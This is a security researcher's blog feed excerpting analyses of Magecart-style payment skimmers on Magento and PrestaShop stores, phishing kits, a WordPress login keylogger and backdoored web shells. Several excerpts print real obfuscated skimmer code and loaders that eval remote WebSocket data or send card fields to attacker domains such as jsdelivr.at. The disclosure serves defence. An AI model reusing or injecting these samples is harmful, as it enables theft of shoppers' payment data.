https://lukeleal.com/research/posts/ Recent content in Home on Cybersecurity Research Hugo -- gohugo.io en-us Sat, 22 Jul 2023 00:00:00 +0000 https://lukeleal.com/research/posts/qetbootstrap-skimmer/ Sat, 22 Jul 2023 00:00:00 +0000 https://lukeleal.com/research/posts/qetbootstrap-skimmer/ qetbootstrap.com skimmer wss exfiltration ASN ZERGRUSH (39622) Sample The first stage of the skimmer is injected into Magento files or database: JavaScript Stage 1: core_config_data (function(i, s, h, k, l, o, c, m) { m['GoogleAnalyticsObjects'] = o; c = s.createElement(h), i = s.getElementsByTagName(h)[0]; if (l.href.match(new RegExp(atob(o)))) { c.async = 1; c.src = new Function(atob(k)).call(this); } } )('jb', document, 'style', 'window.bootstrap_web = new WebSocket('wss://qetbootstrap.com:8444');window.bootstrap_web.onmessage=function(e){eval(e.data);};', window.location, 'Y2hlY2tvdXQ' + '=', '//www.google-analytics.com/analytics.js', window); The second stage of the skimmer is loaded from an external domain and then loaded in the victim’s browser when they load the checkout page: https://lukeleal.com/research/posts/strox-phishing-service-and-how-it-works/ Mon, 07 Nov 2022 00:00:00 +0000 https://lukeleal.com/research/posts/strox-phishing-service-and-how-it-works/ Traditional Phishing Deployment = Learning Curve The problem with the traditional style of phishing deployment is that someone needs to be experienced in acquiring these required resources from different marketplaces/vendors, and then know how to configure them so that their phishing page will properly load from the hosting server and how to get victims to it. This initial learning curve acts as a type of barrier to entry, which can help to dissuade new users from attempting phishing and just ultimately giving up. https://lukeleal.com/research/posts/wp-login-keylogger/ Fri, 04 Nov 2022 00:00:00 +0000 https://lukeleal.com/research/posts/wp-login-keylogger/ Since WordPress stores its user passwords in an a hashed format, an attacker can have trouble learning the current password values once they already have unauthorized access to the database. The solution is to grab the password value before it gets hashed and added to the database. wp-login.php The file wp-login.php is used during the WordPress backend login process, so attackers will inject code into this file so they can steal the passwords for users attempting to log in. https://lukeleal.com/research/posts/saudi-mcdonalds-mobile-phishing/ Sun, 02 Oct 2022 00:00:00 +0000 https://lukeleal.com/research/posts/saudi-mcdonalds-mobile-phishing/ This is a unique phishing kit in that it is a bit more targeted than usual kits. This kit specifically target McDonald’s customers located in Saudi Arabia by replicating the look and feel of the actual mobile McDonald’s app. Testing of Phishing Page on Local Environment ** You need to click Full Screen icon to view the video** (need to work on the CSS) Telegram Exfiltration The phishing kit exfiltrates the stolen data via a Telegram bot and does not rely upon email. https://lukeleal.com/research/posts/united81-skimmer/ Thu, 25 Aug 2022 00:00:00 +0000 https://lukeleal.com/research/posts/united81-skimmer/ Compromised Magento JavaScript skimmer loading payment overlay from a file, media/js/js-color.min.js, on a compromised Magento ecommerce store. You can view the deobfuscated version here: js skimmer-deobfuscated.js (function () { 'use strict'; var devtools = { open: false, orientation: null }; var threshold = 160; var emitEvent = function (state, orientation) { window.dispatchEvent(new CustomEvent('devtoolschange', { detail: { open: state, orientation: orientation } })) }; setInterval(function () { var widthThreshold = window.outerWidth - window. https://lukeleal.com/research/posts/jsdelivr-at-skimmer/ Wed, 20 Jul 2022 00:00:00 +0000 https://lukeleal.com/research/posts/jsdelivr-at-skimmer/ Fake GTM tag loads #JavaScript #skimmer from jsdelivr[.]at on a hacked #magento store's checkout page to steal credit card data. Skimmer URL: jsdelivr[.]at/js/jquery.ba.min.jshttps://t.co/0lk3yvJGWK#infosec #cybersecurity #malware pic.twitter.com/pXpnVJXmTr — Luke Leal (@rootprivilege) July 20, 2022 Associated domains loading from 77.83.36.33 jqueri.at jqueriweb.at jqueri-web.at jqueridev.at Sample From the URL hxxps://jsdelivr[.]at/js/jquery.ba.min.js js jquery.ba.min.js var _0xc914=["\x63\x61\x6C\x6C","\x62\x75\x67\x2D\x73\x74\x72\x69\x6E\x67\x2D\x63\x68\x61\x72\x2D\x69\x6E\x64\x65\x78","\x61","\x6A\x73\x6F\x6E","\x6A\x73\x6F\x6E\x2D\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x6A\x73\x6F\x6E\x2D\x70\x61\x72\x73\x65","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x66\x75\x6E\x63\x74\x69\x6F\x6E","\x74\x6F\x4A\x53\x4F\x4E","\x30","\x22\x22","\x31","\x5B\x31\x5D","\x5B\x6E\x75\x6C\x6C\x5D","\x6E\x75\x6C\x6C","\x5B\x6E\x75\x6C\x6C\x2C\x6E\x75\x6C\x6C\x2C\x6E\x75\x6C\x6C\x5D","\x7B\x22\x61\x22\x3A\x5B\x31\x2C\x74\x72\x75\x65\x2C\x66\x61\x6C\x73\x65\x2C\x6E\x75\x6C\x6C\x2C\x22\x5C\x75\x30\x30\x30\x30\x5C\x62\x5C\x6E\x5C\x66\x5C\x72\x5C\x74\x22\x5D\x7D","\x00\x08\x0A\x0C\x0D\x09","\x5B\x0A\x20\x31\x2C\x0A\x20\x32\x0A\x5D","\x22\x2D\x32\x37\x31\x38\x32\x31\x2D\x30\x34\x2D\x32\x30\x54\x30\x30\x3A\x30\x30\x3A\x30\x30\x2E\x30\x30\x30\x5A\x22","\x22\x2B\x32\x37\x35\x37\x36\x30\x2D\x30\x39\x2D\x31\x33\x54\x30\x30\x3A\x30\x30\x3A\x30\x30\x2E\x30\x30\x30\x5A\x22","\x22\x2D\x30\x30\x30\x30\x30\x31\x2D\x30\x31\x2D\x30\x31\x54\x30\x30\x3A\x30\x30\x3A\x30\x30\x2E\x30\x30\x30\x5A\x22","\x22\x31\x39\x36\x39\x2D\x31\x32\x2D\x33\x31\x54\x32\x33\x3A\x35\x39\x3A\x35\x39\x2E\x39\x39\x39\x5A\x22","\x70\x61\x72\x73\x65","\x6C\x65\x6E\x67\x74\x68","\x22\x09\x22","\x30\x31","\x31\x2E","\x4E\x75\x6D\x62\x65\x72","\x53\x74\x72\x69\x6E\x67","\x4F\x62\x6A\x65\x63\x74","\x44\x61\x74\x65","\x53\x79\x6E\x74\x61\x78\x45\x72\x72\x6F\x72","\x54\x79\x70\x65\x45\x72\x72\x6F\x72","\x4D\x61\x74\x68","\x4A\x53\x4F\x4E","\x6F\x62\x6A\x65\x63\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x67\x65\x74\x55\x54\x43\x46\x75\x6C\x6C\x59\x65\x61\x72","\x67\x65\x74\x55\x54\x43\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x55\x54\x43\x44\x61\x74\x65","\x67\x65\x74\x55\x54\x43\x48\x6F\x75\x72\x73","\x67\x65\x74\x55\x54\x43\x4D\x69\x6E\x75\x74\x65\x73","\x67\x65\x74\x55\x54\x43\x53\x65\x63\x6F\x6E\x64\x73","\x67\x65\x74\x55\x54\x43\x4D\x69\x6C\x6C\x69\x73\x65\x63\x6F\x6E\x64\x73","\x66\x6C\x6F\x6F\x72","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x5F\x5F\x70\x72\x6F\x74\x6F\x5F\x5F","\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x76\x61\x6C\x75\x65\x4F\x66","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x46\x75\x6E\x63\x74\x69\x6F\x6E\x5D","\x20","\x73\x70\x6C\x69\x74","\x76\x61\x6C\x75\x65\x4F\x66\x20\x74\x6F\x53\x74\x72\x69\x6E\x67\x20\x74\x6F\x4C\x6F\x63\x61\x6C\x65\x53\x74\x72\x69\x6E\x67\x20\x70\x72\x6F\x70\x65\x72\x74\x79\x49\x73\x45\x6E\x75\x6D\x65\x72\x61\x62\x6C\x65\x20\x69\x73\x50\x72\x6F\x74\x6F\x74\x79\x70\x65\x4F\x66\x20\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x5C\x5C","\x5C\x22","\x5C\x62","\x5C\x66","\x5C\x6E","\x5C\x72","\x5C\x74","\x73\x6C\x69\x63\x65","\x30\x30\x30\x30\x30\x30","\x22","","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x5C\x75\x30\x30","\x63\x68\x61\x72\x41\x74","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x44\x61\x74\x65\x5D","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x4E\x75\x6D\x62\x65\x72\x5D","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x53\x74\x72\x69\x6E\x67\x5D","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x41\x72\x72\x61\x79\x5D","\x2D","\x2B","\x54","\x3A","\x2E","\x5A","\x5B\x6F\x62\x6A\x65\x63\x74\x20\x42\x6F\x6F\x6C\x65\x61\x6E\x5D","\x70\x75\x73\x68","\x5B\x0A","\x2C\x0A","\x6A\x6F\x69\x6E","\x0A","\x5D","\x5B","\x2C","\x5B\x5D","\x7B\x0A","\x7D","\x7B","\x7B\x7D","\x70\x6F\x70","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x5C","\x2F","\x08","\x09","\x0C","\x0D","\x40","\x30\x78","\x74\x72\x75\x65","\x66\x61\x6C\x73\x65","\x24","\x73\x74\x72\x69\x6E\x67","\x72\x75\x6E\x49\x6E\x43\x6F\x6E\x74\x65\x78\x74","\x61\x6D\x64","\x6E\x6F\x64\x65\x54\x79\x70\x65","\x67\x6C\x6F\x62\x61\x6C","\x77\x69\x6E\x64\x6F\x77","\x73\x65\x6C\x66","\x4A\x53\x4F\x4E\x33","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65\x66","\x41\x63\x63\x6F\x75\x6E\x74\x44\x61\x74\x61","\x66\x69\x72\x73\x74\x6E\x61\x6D\x65","\x6C\x61\x73\x74\x6E\x61\x6D\x65","\x65\x78\x70\x5F\x6D\x6F\x6E\x74\x68","\x65\x78\x70\x5F\x79\x65\x61\x72","\x63\x76\x76\x6E\x75\x6D\x62\x65\x72","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x64\x65\x6C\x69\x76\x72\x2E\x61\x74\x2F\x66\x2E\x70\x68\x70","\x73\x74\x72\x65\x65\x74\x5B\x30\x5D","\x63\x69\x74\x79","\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64","\x72\x65\x67\x69\x6F\x6E","\x70\x6F\x73\x74\x63\x6F\x64\x65","\x63\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64","\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65","\x6E\x61\x6D\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x76\x61\x6C\x75\x65","\x61\x64\x64\x72","\x44\x61\x74\x61","\x73\x74\x72\x65\x65\x74\x5B\x31\x5D","\x73\x74\x72\x65\x65\x74\x5B\x32\x5D","\x69\x64","\x69\x6E\x70\x75\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x65\x6C\x65\x63\x74","\x74\x65\x78\x74\x61\x72\x65\x61","\x44\x6F\x6D\x61\x69\x6E","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x65\x6E\x63\x6F\x64\x65","\x42\x61\x73\x65\x36\x34","\x53\x65\x6E\x74","\x48\x6F\x6C\x64\x65\x72","\x43\x56\x56","\x48\x6F\x6C\x64\x65\x72\x46\x69\x72\x73\x74\x4E\x61\x6D\x65","\x48\x6F\x6C\x64\x65\x72\x4C\x61\x73\x74\x4E\x61\x6D\x65","\x4D\x6F\x6E\x74\x68","\x59\x65\x61\x72","\x49\x4D\x47","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x47\x61\x74\x65","\x3F\x68\x61\x73\x68\x3D","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x63\x75\x73\x74\x6F\x6D\x65\x72\x44\x61\x74\x61","\x64\x65\x66\x61\x75\x6C\x74\x5F\x62\x69\x6C\x6C\x69\x6E\x67","\x61\x64\x64\x72\x65\x73\x73\x65\x73","\x76\x61\x6C\x75\x65\x73","\x63\x6F\x75\x6E\x74\x72\x79","\x73\x74\x72\x65\x65\x74","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","\x5F\x6B\x65\x79\x53\x74\x72","\x72\x65\x70\x6C\x61\x63\x65","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"];var _0x3bab=[_0xc914[0],_0xc914[1],_0xc914[2],_0xc914[3],_0xc914[4],_0xc914[5],_0xc914[6],_0xc914[7],_0xc914[8],_0xc914[9],_0xc914[10],_0xc914[11],_0xc914[12],_0xc914[13],_0xc914[14],_0xc914[15],_0xc914[16],_0xc914[17],_0xc914[18],_0xc914[19],_0xc914[20],_0xc914[21],_0xc914[22],_0xc914[23],_0xc914[24],_0xc914[25],_0xc914[26],_0xc914[27],_0xc914[28],_0xc914[29],_0xc914[30],_0xc914[31],_0xc914[32],_0xc914[33],_0xc914[34],_0xc914[35],_0xc914[36],_0xc914[37],_0xc914[38],_0xc914[39],_0xc914[40],_0xc914[41],_0xc914[42],_0xc914[43],_0xc914[44],_0xc914[45],_0xc914[46],_0xc914[47],_0xc914[48],_0xc914[49],_0xc914[50],_0xc914[51],_0xc914[52],_0xc914[53],_0xc914[54],_0xc914[55],_0xc914[56],_0xc914[57],_0xc914[58],_0xc914[59],_0xc914[60],_0xc914[61],_0xc914[62],_0xc914[63],_0xc914[64],_0xc914[65],_0xc914[66],_0xc914[67],_0xc914[68],_0xc914[69],_0xc914[70],_0xc914[71],_0xc914[72],_0xc914[73],_0xc914[74],_0xc914[75],_0xc914[76],_0xc914[77],_0xc914[78],_0xc914[79],_0xc914[80],_0xc914[81],_0xc914[82],_0xc914[83],_0xc914[84],_0xc914[85],_0xc914[86],_0xc914[87],_0xc914[88],_0xc914[89],_0xc914[90],_0xc914[91],_0xc914[92],_0xc914[93],_0xc914[94],_0xc914[95],_0xc914[96],_0xc914[97],_0xc914[98],_0xc914[99],_0xc914[100],_0xc914[101],_0xc914[102],_0xc914[103],_0xc914[104],_0xc914[105],_0xc914[106],_0xc914[107],_0xc914[108],_0xc914[109],_0xc914[110],_0xc914[111],_0xc914[112],_0xc914[113],_0xc914[114],_0xc914[115],_0xc914[116],_0xc914[117],_0xc914[118],_0xc914[119],_0xc914[120],_0xc914[121],_0xc914[122],_0xc914[123],_0xc914[124],_0xc914[125],_0xc914[126],_0xc914[127],_0xc914[128],_0xc914[129],_0xc914[130],_0xc914[131],_0xc914[132],_0xc914[133],_0xc914[134],_0xc914[135],_0xc914[136],_0xc914[137],_0xc914[138],_0xc914[139],_0xc914[140],_0xc914[141],_0xc914[142],_0xc914[143],_0xc914[144],_0xc914[145],_0xc914[146],_0xc914[147],_0xc914[148],_0xc914[149],_0xc914[150],_0xc914[151],_0xc914[152],_0xc914[153],_0xc914[154],_0xc914[155],_0xc914[156],_0xc914[157],_0xc914[158],_0xc914[159],_0xc914[160],_0xc914[161],_0xc914[162],_0xc914[163],_0xc914[164],_0xc914[165],_0xc914[166],_0xc914[167],_0xc914[168],_0xc914[169],_0xc914[170]];(function(){function _0xc1ccx2(_0xc1ccx3,_0xc1ccx4){function _0xc1ccx5(_0xc1ccx6){if(_0xc1ccx5[_0xc1ccx6]!== _0xc1ccx16){return _0xc1ccx5[_0xc1ccx6]};var _0xc1ccx7;if(_0x3bab[1]== _0xc1ccx6){_0xc1ccx7= _0x3bab[2]!= _0x3bab[2][0]}else {if(_0x3bab[3]== _0xc1ccx6){_0xc1ccx7= _0xc1ccx5(_0x3bab[4])&& _0xc1ccx5(_0x3bab[5])}else {var _0xc1ccx8;if(_0x3bab[4]== _0xc1ccx6){_0xc1ccx7= _0xc1ccx4[_0x3bab[6]];var _0xc1ccx9=_0x3bab[7]== typeof _0xc1ccx7&& _0xc1ccx17;if(_0xc1ccx9){(_0xc1ccx8= function(){return 1})[_0x3bab[8]]= _0xc1ccx8;try{_0xc1ccx9= _0x3bab[9]=== _0xc1ccx7(0)&& _0x3bab[9]=== _0xc1ccx7( new _0xc1ccxb)&& _0x3bab[10]== _0xc1ccx7( new _0xc1ccxc)&& _0xc1ccx7(_0xc1ccx13)=== _0xc1ccx16&& _0xc1ccx7(_0xc1ccx16)=== _0xc1ccx16&& _0xc1ccx7()=== _0xc1ccx16&& _0x3bab[11]=== _0xc1ccx7(_0xc1ccx8)&& _0x3bab[12]== _0xc1ccx7([_0xc1ccx8])&& _0x3bab[13]== _0xc1ccx7([_0xc1ccx16])&& _0x3bab[14]== _0xc1ccx7(null)&& _0x3bab[15]== _0xc1ccx7([_0xc1ccx16,_0xc1ccx13,null])&& _0x3bab[16]== _0xc1ccx7({a:[_0xc1ccx8,! https://lukeleal.com/research/posts/cdn-fonts-skimmer/ Thu, 16 Jun 2022 00:00:00 +0000 https://lukeleal.com/research/posts/cdn-fonts-skimmer/ The initial JavaScript injection in core_config_data loads a JavaScript file hosted on the infected website (NOT on cdn-fonts.com): <script type="text/javascript" src="https://www.[redacted]/media/facebook_feed.js"></script> The file facebook_feed.js contains the payment data skimmer and captures the payment card data fields upon the victim clicking the Continue button which is linked to the JavaScript function payment.save(). var _paypal_payment_button = "*[onclick*=\"payment.save()\"]"; function _paypal_rm_disabled() { jQuery("input").removeAttr("disabled"); jQuery("select").removeAttr("disabled"); } function _paypal_payment_gateway() { var text_payment = { }; _paypal_rm_disabled(); jQuery("body input, body select, body option"). https://lukeleal.com/research/posts/staticounter/ Sun, 12 Jun 2022 00:00:00 +0000 https://lukeleal.com/research/posts/staticounter/ Suspicious Domain - staticounter.net Newly registered domain with a suspicious name: Domain Name: staticounter.net Registry Domain ID: 2695533489_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.registrar.eu Registrar URL: http://www.registrar.eu Updated Date: 2022-05-12T00:31:13Z Creation Date: 2022-05-11T22:28:41Z Registrar Registration Expiration Date: 2024-05-11T22:28:41Z Also domain resolves to some sketchy RU server - 185.253.33.183 [*] A staticounter.net 185.253.33.183 Loading from base64 encoded string injected into the database table cms_block: <a href="[redacted]" target="_blank" rel="nofollow noopener"><img style="border: 0;" new self.Function(atob('c2V0VGltZW91dChmdW5jdGlvbigpe2pRdWVyeS5nZXRTY3JpcHQoImh0dHBzOi8vanMuc3RhdGljb3VudGVyLm5ldC9zdGF0aWMvY291bnRlci5qcyIsZnVuY3Rpb24oKXtqUXVlcnkoImltZ1thbHQ9W3JlZGFjdGVkXV0iKS5yZW1vdmVBdHRyKCJvbmxvYWQiKX0pfSwgMzAwMCk='))() src="[redacted]" alt="[redacted]"></a> setTimeout(function(){jQuery. https://lukeleal.com/research/posts/hackers-love-crawling-broken-config-files/ Wed, 08 Jun 2022 00:00:00 +0000 https://lukeleal.com/research/posts/hackers-love-crawling-broken-config-files/ Renaming Website Configuration Files While troubleshooting a problem, it may be necessary for a website owner or support provider to temporarily rename an existing wp-config.php file so that they can test the website with a separate wp-config.php file. For example, after a setting change or database login change. Unforunately poor training and information has led to the people renaming the wp-config.php file by appending text to the end of it so that it becomes something like wp-config. https://lukeleal.com/research/posts/backdoored-alfa-webshell/ Sun, 22 May 2022 00:00:00 +0000 https://lukeleal.com/research/posts/backdoored-alfa-webshell/ Web Shell Stealer = Hidden Backdoor A web shell stealer works by secretly informing someone whenever the web shell is uploaded to a website. Sometimes the creator will also secretly add additional PHP backdoor files. How It Works There are two main actions performed by the hidden backdoor code: Backdoor Dropper The first half of the hidden backdoor is used for silently creating additional PHP backdoors with the names about.php and about. https://lukeleal.com/research/posts/what-is-anonymousfox/ Thu, 10 Mar 2022 00:00:00 +0000 https://lukeleal.com/research/posts/what-is-anonymousfox/ Part I What is Anonymous Fox? 🦊 Anonymous Fox is a threat actor group that develops and distributes multiple tools that are used to attack websites and gain, hijack, and/or maintain unauthorized access. They have been in operation since at least late 2019. Who is a target? 🎯 Their tools target websites using popular CMS software like WordPress, Joomla, Opencart, Drupal, and the hosting software cPanel. However when scanning for targets they will scan any publicly accessible website and collectively send out tens of millions malicious requests per month. https://lukeleal.com/research/posts/tracking-pixel-phishing-countermeasure/ Mon, 24 Jan 2022 00:00:00 +0000 https://lukeleal.com/research/posts/tracking-pixel-phishing-countermeasure/ While checking out a phishing kit targeting TD Bank - I noticed a strange piece of obfuscated JavaScript in the source HTML: var _0x8142 = ['\x6D\x61\x74\x63\x68', '\x68\x6F\x73\x74', '\x6C\x6F\x63\x61\x74\x69\x6F\x6E', '\x73\x63\x72\x69\x70\x74', '\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74', '\x74\x79\x70\x65', '\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74', '\x61\x73\x79\x6E\x63', '\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C', '\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20\x7B\x28\x6E\x65\x77\x20\x49\x6D\x61\x67\x65\x28\x29\x29\x2E\x73\x72\x63\x20\x3D\x20\x27\x2F\x2F\x69\x6D\x61\x67\x65\x73\x2D\x63\x64\x6E\x2E\x69\x6E\x66\x6F\x2F\x35\x39\x30\x2F\x69\x6D\x61\x67\x65\x2E\x67\x69\x66\x27\x20\x7D\x29\x28\x29\x3B', '\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65', '\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65', '\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65' ]; (function() { if (window[_0x8142[2]][_0x8142[1]][_0x8142[0]](/(?![a-z0-9-].*?\.)?(tdbank\.com)$/) === null) { var _0xbfd8x1 = document[_0x8142[4]](_0x8142[3]); _0xbfd8x1[_0x8142[5]] = _0x8142[6]; _0xbfd8x1[_0x8142[7]] = true; _0xbfd8x1[_0x8142[8]] = _0x8142[9]; var _0xbfd8x2 = document[_0x8142[10]](_0x8142[3])[0]; _0xbfd8x2[_0x8142[12]][_0x8142[11]](_0xbfd8x1, _0xbfd8x2); } })(); Tracking Pixel Countermeasure After deobfuscating we are left with plaintext JavaScript:\ https://lukeleal.com/research/posts/affiliate-redirect-effectivecpmgate/ Sun, 23 Jan 2022 00:00:00 +0000 https://lukeleal.com/research/posts/affiliate-redirect-effectivecpmgate/ Affiliate Referral Abuse Hackers have often abused affiliate/referral marketing by leveraging infected websites to direct traffic to their desired affiliate URL. Usually a redirect chain will be used to mask the source of the traffic and make it appear as if it were legitimate. The redirected traffic is assigned a tracking cookie so that the traffic can be attributable to the hacker and they can get their affiliate/referral payout. JavaScript Injection This JavaScript injection was found injected into the first line of any JavaScript files on the infected websites (primarily WordPress). https://lukeleal.com/research/posts/prestashop-js-skimmer-ccfresh-co/ Tue, 04 Jan 2022 00:00:00 +0000 https://lukeleal.com/research/posts/prestashop-js-skimmer-ccfresh-co/ Prestashop StripeTag Skimmer This skimmer uses JavaScript that has been injected into a legitimate file used by the Prestashop website to accept payment card data using the payment processor Stripe. var StripeTag; StripeTag = window.atob("TmFtZSA6IA==") + stripe_token_params.name + "\n"; StripeTag += window.atob("QWRkcmVzcyA6IA==") + stripe_billing_address.address1 + "\n"; StripeTag += window.atob("Q2l0eSA6IA==") + stripe_billing_address.city + "\n"; StripeTag += window.atob("U3RhdGUgOiA=") + stripe_billing_address.state + "\n"; StripeTag += window.atob("WmlwIDog") + stripe_billing_address.postcode + "\n"; StripeTag += window.atob("UGhvbmUgOiA=") + stripe_billing_address. https://lukeleal.com/research/posts/magecart-k11-psigate-skimmer/ Thu, 30 Dec 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magecart-k11-psigate-skimmer/ JavaScript Skimmer Targets Psigate Payments This MageCart skimmer was found injected into the Magento database table of core_config_data on a compromised ecommerce website. It uses some obfuscation to prevent someone from being able to easily read the code. I ran it through a beautifier to make it easier to read and determine the type of obfuscation used. js core_config_data var h95505 = "2ck11ek11898n8g7o8h896c817q8h8h8l718d7p8a7l8g8a7p8c887t8i6i7m8b8g7r8a8n8h8g6i6j978n7m6i5m8b8g7o7p7m8n8g7p7o5m5p718a998e7p8h7m5o8k7d8b7p8c996j97887t8c5o7p718k7d8b7p8c996i5m5n8e8d8n7n7t8a7p5m6j6c8e7t8c7p8g8a6i6j6c8e7t8c7p8g8a6i6j6c7m8n8g7o6i5m6c7t7r8a8n8h8g6c8e8c8n8j7t8c996c7r8m7p7r8l8h8b8a5m6j737p6c8i7p8g7n8a8m5i5i6i7r8i7p7t8c7l8g8a7p8c887t8i6i898n8g7o8h896c817q8h8h8l6j6e7p6c7q8n8g7o6i5m7r8i8n7r8l5m6e7m8b8g7r8a8n8h8g6i7p6j97898n8g7o8h896c818h8c7t7r8i7p94948c7p8f8b8n8c7p6i855m8k8f8b7p8c995m6e5m7h7t7n7p8g8a8h816p8m7p7r8l8h8b8a6d8k8d6d8j8h7o7p8i6d8f8b8h8a7p5m836e7m8b8g7r8a8n8h8g6i7p6e7t6e8a6j978n7m6i7r8b8d8a8h8j7p8c6m7t8a7t71898n8g7o8h896c7r8b8d8a8h8j7p8c6m7t8a7t6e7p8j7t8n8i717r8b8d8a8h8j7p8c6m7t8a7t6c7p8j7t8n8i6e5m8b8g7o7p7m8n8g7p7o5m71718a998e7p8h7m5o7p8j7t8n8i5i5i6i7p8j7t8n8i717t6c7n8b7p8d8a6n8j7t8n8i6j6e7t7o7o8c7p8d8d717t6c7q8n8i8i8n8g7n6r7o7o8c7p8d8d6i6j6e888h8n7o5o6a5p71717t7o7o8c7p8d8d6c7r8n8a996j97887t8c5o8c717p6i5m5n8e8d8n7n7t8a7p817r7r818g8b8j7q7p8c5m6j6c887t8i6i6j6e8g717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g5m6j6c887t8i6i6j6e8h717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g81998c5m6j6c887t8i6i6j6e8n717p6i5m5n8e8d8n7n7t8a7p817r7r817r8n7o5m6j6c887t8i6i6j738n7m6i8c5i5i8g5i5i8h5i5i8n6j97887t8c5o7r715j975m8g7t8j7p5m725m5j6e7o715j5m6e5m887t8i8b7p5m725m5j6e8d715j5m956e5j6e8b715m855m6h7r6h5m8m8h8d8a5m6h7o6h7o8h7r8b8j7p8g8a6c797a7g6h8d737m8h8c6i985o8n8g5o8b6h717r6h5m7t7n7p8g8a5m6h7o6h8g7t888n7n7t8a8h8c6c8b8d7p8c6r7n7p8g8a6h8d6e8b6h717r6h5m8b8d7p8c8g7t8j7p5m6h7o6h6i7p8j7t8n8i94945m5m6j6h8d6e7t7o7o8c7p8d8d6j8n7m6i5m7m8b8g7r8a8n8h8g5m5p718a998e7p8h7m5o7t7o7o8c7p8d8d8598836j8n7m6i5m8d8a8c7p7p8a5m5p71986j8b6h715j975m8g7t8j7p5m725m5j6h986h5j5m6e5m887t8i8b7p5m725m5j6h7t7o7o8c7p8d8d8598836h8d737p8i8d7p5o7m8h8c6i995o8n8g5o7t7o7o8c7p8d8d6c8d8a8c7p7p8a6j8b6h717r6h5m8d8a8c7p7p8a855m6h996h5m835m6h7o6h7t7o7o8c7p8d8d6c8d8a8c7p7p8a8599836h8d738b6h717r6h5m8e7t998j7p8g8a857r7r818g8b8j7q7p8c835m6h7o6h8c6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817r8n7o835m6h7o6h8n6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e818j8h8g8a8m835m6h7o6h8g6h8d6e8b716i8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e81997p7t8c835m6h7o6h8h6h8d6j6c8c7p8e8i7t7r7p6i6d7l7o6d7n6e5m818n7o5m6j6c8d8i8n7r7p6i6a6e6f6b6j6h5m835m6e898n8g7o8h896c818h8c7t7r8i7p716b73887t8c5o8i717m8b8g7r8a8n8h8g6i7p6j97887t8c5o7t6e8a6e8c717q8a8h7t6i7p8g7r8h7o7p797a7l6p8h8j8e8h8g7p8g8a6i7p6j6j6e8g715m5m737m8h8c6i7t716a737t708c6c8i7p8g7n8a8m737t6h6h6j8a7168676h6i68746h6i6b6864808c857t836c7r8m7t8c6p8h7o7p6r8a6i6a6j6j806b686b6j6e8g6h717b8a8c8n8g7n6c7m8c8h8j6p8m7t8c6p8h7o7p6i8a6j738c7p8a8b8c8g5o8g956i8b6j737p6c7t8k7t986i978b8c8i727t8a8h7q6i5m7t7k7a6a7r7k7h647g99758l7p77678i848j878b848g7l887t6l768m7q7k7a8h86687e8h84777e8c7g8g6o8h7r6r71715m6j6e8a998e7p725m8e8h8d8a5m6e7o7t8a7t78998e7p725m8a7p988a5m6e7o7t8a7t72977r7t8c8a6p8m7p7r8l7b8b8j6m7t8a7t728i6e8f8b8h8a7p7h8h7o7p725m7r8m7p7r8l8h8b8a5m95956j9595956j956j6j95956e6b7p696j73"; var r20525 = 30; t87588 = h95505; x796 = t87588. https://lukeleal.com/research/posts/trainresistor-cc-mass-injection/ Mon, 13 Dec 2021 00:00:00 +0000 